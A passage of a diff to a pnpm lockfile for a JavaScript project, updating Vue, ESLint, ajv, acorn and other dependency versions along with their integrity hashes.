sha512-2aZ8i0cqPGjXb4BhkMsPYDkkuc2ZQ6yOpqwAuNwUoncELqoy5fRgOQtLR9gB0g902iS0NAkvpIzs27geVyVdPg==} + '@vue/compiler-core@3.5.22': + resolution: {integrity: sha512-jQ0pFPmZwTEiRNSb+i9Ow/I/cHv2tXYqsnHKKyCQ08irI2kdF5qmYedmF8si8mA7zepUFmJ2hqzS8CQmNOWOkQ==} - '@vue/compiler-core@3.5.25': - resolution: {integrity: sha512-vay5/oQJdsNHmliWoZfHPoVZZRmnSWhug0BYT34njkYTPqClh3DNWLkZNJBVSjsNMrg0CCrBfoKkjZQPM/QVUw==} + '@vue/compiler-core@3.5.32': + resolution: {integrity: sha512-4x74Tbtqnda8s/NSD6e1Dr5p1c8HdMU5RWSjMSUzb8RTcUQqevDCxVAitcLBKT+ie3o0Dl9crc/S/opJM7qBGQ==} - '@vue/compiler-core@3.5.26': - resolution: {integrity: sha512-vXyI5GMfuoBCnv5ucIT7jhHKl55Y477yxP6fc4eUswjP8FG3FFVFd41eNDArR+Uk3QKn2Z85NavjaxLxOC19/w==} + '@vue/compiler-dom@3.5.22': + resolution: {integrity: sha512-W8RknzUM1BLkypvdz10OVsGxnMAuSIZs9Wdx1vzA3mL5fNMN15rhrSCLiTm6blWeACwUwizzPVqGJgOGBEN/hA==} - '@vue/compiler-dom@3.5.25': - resolution: {integrity: sha512-4We0OAcMZsKgYoGlMjzYvaoErltdFI2/25wqanuTu+S4gismOTRTBPi4IASOjxWdzIwrYSjnqONfKvuqkXzE2Q==} + '@vue/compiler-dom@3.5.32': + resolution: {integrity: sha512-ybHAu70NtiEI1fvAUz3oXZqkUYEe5J98GjMDpTGl5iHb0T15wQYLR4wE3h9xfuTNA+Cm2f4czfe8B4s+CCH57Q==} - '@vue/compiler-dom@3.5.26': - resolution: {integrity: sha512-y1Tcd3eXs834QjswshSilCBnKGeQjQXB6PqFn/1nxcQw4pmG42G8lwz+FZPAZAby6gZeHSt/8LMPfZ4Rb+Bd/A==} + '@vue/compiler-sfc@3.5.22': + resolution: {integrity: sha512-tbTR1zKGce4Lj+JLzFXDq36K4vcSZbJ1RBu8FxcDv1IGRz//Dh2EBqksyGVypz3kXpshIfWKGOCcqpSbyGWRJQ==} - '@vue/compiler-sfc@3.5.26': - resolution: {integrity: sha512-egp69qDTSEZcf4bGOSsprUr4xI73wfrY5oRs6GSgXFTiHrWj4Y3X5Ydtip9QMqiCMCPVwLglB9GBxXtTadJ3mA==} + '@vue/compiler-ssr@3.5.22': + resolution: {integrity: sha512-GdgyLvg4R+7T8Nk2Mlighx7XGxq/fJf9jaVofc3IL0EPesTE86cP/8DD1lT3h1JeZr2ySBvyqKQJgbS54IX1Ww==} - '@vue/compiler-ssr@3.5.26': - resolution: {integrity: sha512-lZT9/Y0nSIRUPVvapFJEVDbEXruZh2IYHMk2zTtEgJSlP5gVOqeWXH54xDKAaFS4rTnDeDBQUYDtxKyoW9FwDw==} + '@vue/devtools-api@7.7.9': + resolution: {integrity: sha512-kIE8wvwlcZ6TJTbNeU2HQNtaxLx3a84aotTITUuL/4bzfPxzajGBOoqjMhwZJ8L9qFYDU/lAYMEEm11dnZOD6g==} - '@vue/compiler-vue2@2.7.16': - resolution: {integrity: sha512-qYC3Psj9S/mfu9uVi5WvNZIzq+xnXMhOwbTFKKDD7b1lhpnn71jXSFdTQ+WsIEk0ONCd7VV2IMm7ONl6tbQ86A==} + '@vue/devtools-kit@7.7.9': + resolution: {integrity: sha512-PyQ6odHSgiDVd4hnTP+aDk2X4gl2HmLDfiyEnn3/oV+ckFDuswRs4IbBT7vacMuGdwY/XemxBoh302ctbsptuA==} - '@vue/language-core@2.2.12': - resolution: {integrity: sha512-IsGljWbKGU1MZpBPN+BvPAdr55YPkj2nB/TBNGNC32Vy2qLG25DYu/NBN2vNtZqdRbTRjaoYrahLrToim2NanA==} + '@vue/devtools-shared@7.7.9': + resolution: {integrity: sha512-iWAb0v2WYf0QWmxCGy0seZNDPdO3Sp5+u78ORnyeonS6MT4PC7VPrryX2BpMJrwlDeaZ6BD4vP4XKjK0SZqaeA==} + + '@vue/language-core@3.1.1': + resolution: {integrity: sha512-qjMY3Q+hUCjdH+jLrQapqgpsJ0rd/2mAY02lZoHG3VFJZZZKLjAlV+Oo9QmWIT4jh8+Rx8RUGUi++d7T9Wb6Mw==} peerDependencies: typescript: '*' peerDependenciesMeta: typescript: optional: true - '@vue/reactivity@3.5.26': - resolution: {integrity: sha512-9EnYB1/DIiUYYnzlnUBgwU32NNvLp/nhxLXeWRhHUEeWNTn1ECxX8aGO7RTXeX6PPcxe3LLuNBFoJbV4QZ+CFQ==} + '@vue/reactivity@3.5.22': + resolution: {integrity: sha512-f2Wux4v/Z2pqc9+4SmgZC1p73Z53fyD90NFWXiX9AKVnVBEvLFOWCEgJD3GdGnlxPZt01PSlfmLqbLYzY/Fw4A==} - '@vue/runtime-core@3.5.26': - resolution: {integrity: sha512-xJWM9KH1kd201w5DvMDOwDHYhrdPTrAatn56oB/LRG4plEQeZRQLw0Bpwih9KYoqmzaxF0OKSn6swzYi84e1/Q==} + '@vue/runtime-core@3.5.22': + resolution: {integrity: sha512-EHo4W/eiYeAzRTN5PCextDUZ0dMs9I8mQ2Fy+OkzvRPUYQEyK9yAjbasrMCXbLNhF7P0OUyivLjIy0yc6VrLJQ==} - '@vue/runtime-dom@3.5.26': - resolution: {integrity: sha512-XLLd/+4sPC2ZkN/6+V4O4gjJu6kSDbHAChvsyWgm1oGbdSO3efvGYnm25yCjtFm/K7rrSDvSfPDgN1pHgS4VNQ==} + '@vue/runtime-dom@3.5.22': + resolution: {integrity: sha512-Av60jsryAkI023PlN7LsqrfPvwfxOd2yAwtReCjeuugTJTkgrksYJJstg1e12qle0NarkfhfFu1ox2D+cQotww==} - '@vue/server-renderer@3.5.26': - resolution: {integrity: sha512-TYKLXmrwWKSodyVuO1WAubucd+1XlLg4set0YoV+Hu8Lo79mp/YMwWV5mC5FgtsDxX3qo1ONrxFaTP1OQgy1uA==} + '@vue/server-renderer@3.5.22': + resolution: {integrity: sha512-gXjo+ao0oHYTSswF+a3KRHZ1WszxIqO7u6XwNHqcqb9JfyIL/pbWrrh/xLv7jeDqla9u+LK7yfZKHih1e1RKAQ==} peerDependencies: - vue: 3.5.26 + vue: 3.5.22 - '@vue/shared@3.5.25': - resolution: {integrity: sha512-AbOPdQQnAnzs58H2FrrDxYj/TJfmeS2jdfEEhgiKINy+bnOANmVizIEgq1r+C5zsbs6l1CCQxtcj71rwNQ4jWg==} + '@vue/shared@3.5.22': + resolution: {integrity: sha512-F4yc6palwq3TT0u+FYf0Ns4Tfl9GRFURDN2gWG7L1ecIaS/4fCIuFOjMTnCyjsu/OK6vaDKLCrGAa+KvvH+h4w==} - '@vue/shared@3.5.26': - resolution: {integrity: sha512-7Z6/y3uFI5PRoKeorTOSXKcDj0MSasfNNltcslbFrPpcw6aXRUALq4IfJlaTRspiWIUOEZbrpM+iQGmCOiWe4A==} + '@vue/shared@3.5.32': + resolution: {integrity: sha512-ksNyrmRQzWJJ8n3cRDuSF7zNNontuJg1YHnmWRJd2AMu8Ij2bqwiiri2lH5rHtYPZjj4STkNcgcmiQqlOjiYGg==} accepts@2.0.0: resolution: {integrity: sha512-5cvg6CtKwfgdmVqY1WIiXKc3Q1bkRqGLi+2W/6ao+6Y7gu/RCwRuAhGEzh5B4KlszSuTLgZYuqFqo5bImjNKng==} @@ -673,36 +873,24 @@ packages: peerDependencies: acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 - acorn@8.15.0: - resolution: {integrity: sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==} + acorn@8.16.0: + resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} engines: {node: '>=0.4.0'} hasBin: true - ajv@6.12.6: - resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} - - ajv@8.17.1: - resolution: {integrity: sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==} + ajv@6.14.0: + resolution: {integrity: sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==} - alien-signals@1.0.13: - resolution: {integrity: sha512-OGj9yyTnJEttvzhTUWuscOvtqxq5vrhF7vL9oS0xJ2mK0ItPYP1/y+vCFebfxoEyAz0++1AIwJ5CMr+Fk3nDmg==} - - ansi-regex@5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} - engines: {node: '>=8'} + ajv@8.18.0: + resolution: {integrity: sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==} - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} - engines: {node: '>=12'} + alien-signals@3.1.2: + resolution: {integrity: sha512-d9dYqZTS90WLiU0I5c6DHj/HcKkF8ZyGN3G5x8wSbslulz70KOxaqCT0hQCo9KOyhVqzqGojvNdJXoTumZOtcw==} ansi-styles@4.3.0: resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} engines: {node: '>=8'} - ansi-styles@6.2.3: - resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} - engines: {node: '>=12'} - any-promise@1.3.0: resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==} @@ -713,6 +901,9 @@ packages: arg@5.0.2: resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + array-buffer-byte-length@1.0.2: resolution: {integrity: sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==} engines: {node: '>= 0.4'} @@ -737,6 +928,10 @@ packages: resolution: {integrity: sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==} engines: {node: '>= 0.4'} + assertion-error@2.0.1: + resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==} + engines: {node: '>=12'} + ast-metadata-inferer@0.8.1: resolution: {integrity: sha512-ht3Dm6Zr7SXv6t1Ra6gFo0+kLDglHGrEbYihTkcycrbHw7WCcuhBzPlJYHEsIpycaUwzsJHje+vUcxXUX4ztTA==} @@ -751,33 +946,45 @@ packages: balanced-match@1.0.2: resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} - baseline-browser-mapping@2.9.7: - resolution: {integrity: sha512-k9xFKplee6KIio3IDbwj+uaCLpqzOwakOgmqzPezM0sFJlFKcg30vk2wOiAJtkTSfx0SSQDSe8q+mWA/fSH5Zg==} + balanced-match@4.0.4: + resolution: {integrity: sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==} + engines: {node: 18 || 20 || >=22} + + baseline-browser-mapping@2.10.16: + resolution: {integrity: sha512-Lyf3aK28zpsD1yQMiiHD4RvVb6UdMoo8xzG2XzFIfR9luPzOpcBlAsT/qfB1XWS1bxWT+UtE4WmQgsp297FYOA==} + engines: {node: '>=6.0.0'} hasBin: true binary-extensions@2.3.0: resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} engines: {node: '>=8'} - body-parser@2.2.1: - resolution: {integrity: sha512-nfDwkulwiZYQIGwxdy0RUmowMhKcFVcYXUU7m4QlKYim1rUtg83xm2yjZ40QjDuc291AJjjeSc9b++AWHSgSHw==} + birpc@2.9.0: + resolution: {integrity: sha512-KrayHS5pBi69Xi9JmvoqrIgYGDkD6mcSe/i6YKi3w5kekCLzrX4+nawcXqrj2tIp50Kw/mT/s3p+GVK0A0sKxw==} + + body-parser@2.2.2: + resolution: {integrity: sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA==} engines: {node: '>=18'} boolbase@1.0.0: resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} - brace-expansion@1.1.12: - resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} + brace-expansion@1.1.13: + resolution: {integrity: sha512-9ZLprWS6EENmhEOpjCYW2c8VkmOvckIJZfkr7rBW6dObmfgJ/L1GpSYW5Hpo9lDz4D1+n0Ckz8rU7FwHDQiG/w==} + + brace-expansion@2.0.3: + resolution: {integrity: sha512-MCV/fYJEbqx68aE58kv2cA/kiky1G8vux3OR6/jbS+jIMe/6fJWa0DTzJU7dqijOWYwHi1t29FlfYI9uytqlpA==} - brace-expansion@2.0.2: - resolution: {integrity: sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==} + brace-expansion@5.0.5: + resolution: {integrity: sha512-VZznLgtwhn+Mact9tfiwx64fA9erHH/MCXEUfB/0bX/6Fz6ny5EGTXYltMocqg4xFAQZtnO3DHWWXi8RiuN7cQ==} + engines: {node: 18 || 20 || >=22} braces@3.0.3: resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} engines: {node: '>=8'} - browserslist@4.28.1: - resolution: {integrity: sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==} + browserslist@4.28.2: + resolution: {integrity: sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==} engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} hasBin: true @@ -807,12 +1014,24 @@ packages: resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} engines: {node: '>= 0.4'} + callsites@3.1.0: + resolution: {integrity: sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==} + engines: {node: '>=6'} + camelcase-css@2.0.1: resolution: {integrity: sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==} engines: {node: '>= 6'} - caniuse-lite@1.0.30001760: - resolution: {integrity: sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==} + caniuse-lite@1.0.30001787: + resolution: {integrity: sha512-mNcrMN9KeI68u7muanUpEejSLghOKlVhRqS/Za2IeyGllJ9I9otGpR9g3nsw7n4W378TE/LyIteA0+/FOZm4Kg==} + + chai@6.2.2: + resolution: {integrity: sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==} + engines: {node: '>=18'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} chalk@5.4.1: resolution: {integrity: sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w==} @@ -848,14 +1067,17 @@ packages: resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==} engines: {node: ^14.18.0 || >=16.10.0} - content-disposition@1.0.1: - resolution: {integrity: sha512-oIXISMynqSqm241k6kcQ5UwttDILMK4BiurCfGEREw6+X9jkkpEe5T9FZaApyLGGOnFuyMWZpdolTXMtvEJ08Q==} + content-disposition@1.1.0: + resolution: {integrity: sha512-5jRCH9Z/+DRP7rkvY83B+yGIGX96OYdJmzngqnw2SBSxqCFPd0w2km3s5iawpGX8krnwSGmF0FW5Nhr0Hfai3g==} engines: {node: '>=18'} content-type@1.0.5: resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} engines: {node: '>= 0.6'} + convert-source-map@2.0.0: + resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} + cookie-signature@1.2.2: resolution: {integrity: sha512-D76uU73ulSXrD1UXF4KE2TMxVVwhsnCgfAyTg9k8P6KGZjlXKrOLe4dJQKI3Bxi5wjesZoFXJWElNWBjPZMbhg==} engines: {node: '>=6.6.0'} @@ -864,6 +1086,10 @@ packages: resolution: {integrity: sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==} engines: {node: '>= 0.6'} + copy-anything@4.0.5: + resolution: {integrity: sha512-7Vv6asjS4gMOuILabD3l739tsaxFQmC+a7pLZm02zyvs8p977bL3zEgq3yDk5rn9B0PbYgIv++jmHcuUab4RhA==} + engines: {node: '>=18'} + core-util-is@1.0.3: resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} @@ -894,9 +1120,6 @@ packages: resolution: {integrity: sha512-BS8PfmtDGnrgYdOonGZQdLZslWIeCGFP9tpan0hi1Co2Zr2NKADsvGYA8XxuG/4UWgJ6Cjtv+YJnB6MM69QGlQ==} engines: {node: '>= 0.4'} - de-indent@1.0.2: - resolution: {integrity: sha512-e/1zu3xH5MQryN2zdVaF0OrdNLUbvWxzMbi+iNA6Bky7l1RoP8a2fIbRocyHclXt/arDrrR6lL3TqFD9pMQTsg==} - debug@3.2.7: resolution: {integrity: sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==} peerDependencies: @@ -952,39 +1175,30 @@ packages: resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} engines: {node: '>= 0.4'} - eastasianwidth@0.2.0: - resolution: {integrity: sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==} - ee-first@1.1.1: resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} - electron-to-chromium@1.5.267: - resolution: {integrity: sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==} - - emoji-regex@8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - - emoji-regex@9.2.2: - resolution: {integrity: sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==} + electron-to-chromium@1.5.334: + resolution: {integrity: sha512-mgjZAz7Jyx1SRCwEpy9wefDS7GvNPazLthHg8eQMJ76wBdGQQDW33TCrUTvQ4wzpmOrv2zrFoD3oNufMdyMpog==} encodeurl@2.0.0: resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} engines: {node: '>= 0.8'} - enhanced-resolve@5.18.4: - resolution: {integrity: sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==} + enhanced-resolve@5.20.1: + resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} engines: {node: '>=10.13.0'} entities@4.5.0: resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} engines: {node: '>=0.12'} - entities@7.0.0: - resolution: {integrity: sha512-FDWG5cmEYf2Z00IkYRhbFrwIwvdFKH07uV8dvNy0omp/Qb1xcyCWp2UDtcwJF4QZZvk0sLudP6/hAu42TaqVhQ==} + entities@7.0.1: + resolution: {integrity: sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA==} engines: {node: '>=0.12'} - es-abstract@1.24.1: - resolution: {integrity: sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==} + es-abstract@1.24.2: + resolution: {integrity: sha512-2FpH9Q5i2RRwyEP1AylXe6nYLR5OhaJTZwmlcP0dL/+JCbgg7yyEo/sEK6HeGZRf3dFpWwThaRHVApXSkW3xeg==} engines: {node: '>= 0.4'} es-define-property@1.0.1: @@ -995,6 +1209,9 @@ packages: resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} engines: {node: '>= 0.4'} + es-module-lexer@2.0.0: + resolution: {integrity: sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw==} + es-object-atoms@1.1.1: resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} engines: {node: '>= 0.4'} @@ -1039,8 +1256,8 @@ packages: peerDependencies: eslint: '>=7.0.0' - eslint-import-resolver-node@0.3.9: - resolution: {integrity: sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==} + eslint-import-resolver-node@0.3.10: + resolution: {integrity: sha512-tRrKqFyCaKict5hOd244sL6EQFNycnMQnBe+j8uqGNXYzsImGbGUU4ibtoaBmv5FLwJwcFJNeg1GeVjQfbMrDQ==} eslint-module-utils@2.12.1: resolution: {integrity: sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==} @@ -1091,11 +1308,6 @@ packages: peerDependencies: eslint: '>=8.23.0' - eslint-plugin-no-unsanitized@4.1.2: - resolution: {integrity: sha512-ydF3PMFKEIkP71ZbLHFvu6/FW8SvRv6VV/gECfrQkqyD5+5oCAtPz8ZHy0GRuMDtNe2jsNdPCQXX4LSbkapAVQ==} - peerDependencies: - eslint: ^8 || ^9 - eslint-plugin-prettier@5.2.1: resolution: {integrity: sha512-gH3iR3g4JfF+yYPaJYkN7jEl9QbweL/YfkoRlNnuIEHEz1vHVlCmWOS+eGGiRuzHQXdJFCOTxRgvju9b8VUmrw==} engines: {node: ^14.18.0 || >=16.0.0} @@ -1110,28 +1322,20 @@ packages: eslint-config-prettier: optional: true - eslint-plugin-vue@10.6.0: - resolution: {integrity: sha512-TsoFluWxOpsJlE/l2jJygLQLWBPJ3Qdkesv7tBIunICbTcG0dS1/NBw/Ol4tJw5kHWlAVds4lUmC29/vlPUcEQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + eslint-plugin-vue@9.32.0: + resolution: {integrity: sha512-b/Y05HYmnB/32wqVcjxjHZzNpwxj1onBOvqW89W+V+XNG1dRuaFbNd3vT9CLbr2LXjEoq+3vn8DanWf7XU22Ug==} + engines: {node: ^14.17.0 || >=16.0.0} peerDependencies: - '@stylistic/eslint-plugin': ^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 - '@typescript-eslint/parser': ^7.0.0 || ^8.0.0 - eslint: ^8.57.0 || ^9.0.0 - vue-eslint-parser: ^10.0.0 - peerDependenciesMeta: - '@stylistic/eslint-plugin': - optional: true - '@typescript-eslint/parser': - optional: true + eslint: ^6.2.0 || ^7.0.0 || ^8.0.0 || ^9.0.0 + + eslint-scope@7.2.2: + resolution: {integrity: sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} eslint-scope@8.4.0: resolution: {integrity: sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - eslint-scope@9.1.0: - resolution: {integrity: sha512-CkWE42hOJsNj9FJRaoMX9waUFYhqY4jmyLFdAdzZr6VaCg3ynLYx4WnOdkaIifGfH4gsUcBTn4OZbHXkpLD0FQ==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} - eslint-visitor-keys@3.4.3: resolution: {integrity: sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==} engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} @@ -1140,13 +1344,9 @@ packages: resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==} engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - eslint-visitor-keys@5.0.0: - resolution: {integrity: sha512-A0XeIi7CXU7nPlfHS9loMYEKxUaONu/hTEzHTGba9Huu94Cq1hPivf+DE5erJozZOky0LfvXAyrV/tcswpLI0Q==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} - - eslint@10.0.0: - resolution: {integrity: sha512-O0piBKY36YSJhlFSG8p9VUdPV/SxxS4FYDWVpr/9GJuMaepzwlf4J8I4ov1b+ySQfDTPhc3DtLaxcT1fN0yqCg==} - engines: {node: ^20.19.0 || ^22.13.0 || >=24} + eslint@9.29.0: + resolution: {integrity: 